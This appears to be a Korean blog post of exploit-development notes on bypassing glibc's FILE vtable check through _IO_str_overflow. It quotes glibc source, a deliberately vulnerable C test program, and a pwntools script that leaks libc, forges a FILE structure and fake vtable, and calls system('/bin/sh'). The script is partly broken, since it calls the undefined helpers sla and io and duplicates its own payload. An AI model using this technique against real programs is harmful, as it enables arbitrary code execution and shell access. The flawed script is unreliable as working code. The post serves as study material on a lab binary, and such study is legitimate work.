vtable check (glibc >= 2.24)
/*
_IO_vtable_check
Source: https://code.woboq.org/userspace/glibc/libio/vtables.c.html#_IO_vtable_check
*/
void attribute_hidden
_IO_vtable_check (void)
{
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
PTR_DEMANGLE (flag);
if (flag == &_IO_vtable_check)
return;
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}
/* !SHARED */
if (__dlopen != NULL)
return;
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
크게 _dl_open_hook
에 값을 넣어 조건문을 우회하는 방식과 _IO_str_overflow
함수를 이용하여 libc range checking
을 우회하는 방식이 존재한다.
_IO_str_overflow
는 _IO_jumps_t
에 존재하는 함수인데 얘를 조금 더 살펴보자.
/* Source: https://code.woboq.org/userspace/glibc/libio/strops.c.html#_IO_str_overflow
*/
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
/* ^ Getting RIP control !*/
마지막 (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
을 통해 system("/bin/sh")
를 실행시킬 수 있다.
즉, fake file struct
를 만들 수 있으면 vtable checking
은 거의 무의미하다는 것!
Test Code
/* gcc vuln.c -o vuln */
char fake_file[0x200];
int main() {
FILE *fp;
puts("Leaking libc address of stdout:");
>> printf("%p\n", stdout); // Emulating libc leak
puts("Enter fake file structure");
read(0, fake_file, 0x200);
fp = (FILE *)&fake_file;
fclose(fp);
return 0;
}
from pwn import *
#context.log_level= 'debug'
e = ELF('test')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
sa = lambda x,y: s.sendafter(x,y)
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0):
struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
struct = struct.ljust(0x88, "\x00")
struct += p64(_lock)
struct = struct.ljust(0xd8, "\x00")
return struct
ru(':')
l_base = int(s.recv(16), 16) - l.symbols['_IO_2_1_stdout_']
log.info('l_base: {}'.format(hex(l_base)))
rip = l_base + l.symbols['system']
rdi = l_base + l.search("/bin/sh").next()
io_str_overflow = l_base + l.symbols['_IO_file_jumps'] + 0xd8
fake_vtable = io_str_overflow - 8*2
pay = pack_file(_IO_buf_base=0, _IO_buf_end = (rdi-100)/2, _IO_write_ptr = (rdi-100)/2, _IO_write_base = 0, _lock = e.symbols['fake_file'] + 0x80)
pay += p64(fake_vtable)
pay += p64(rip)
pay += pay.ljust(0x100, '\x00')
sla('structure\n', pay)
io()
'system > material' 카테고리의 다른 글
seccomp_bypass_trick (0) | 2019.12.26 |
---|---|
iretq, fops, tty, tty_ops struct (0) | 2019.11.19 |
kernel debugging with vmware (0) | 2019.11.17 |
peda special instruction (0) | 2019.11.11 |
linux kernel module 작성해보기 (0) | 2019.11.11 |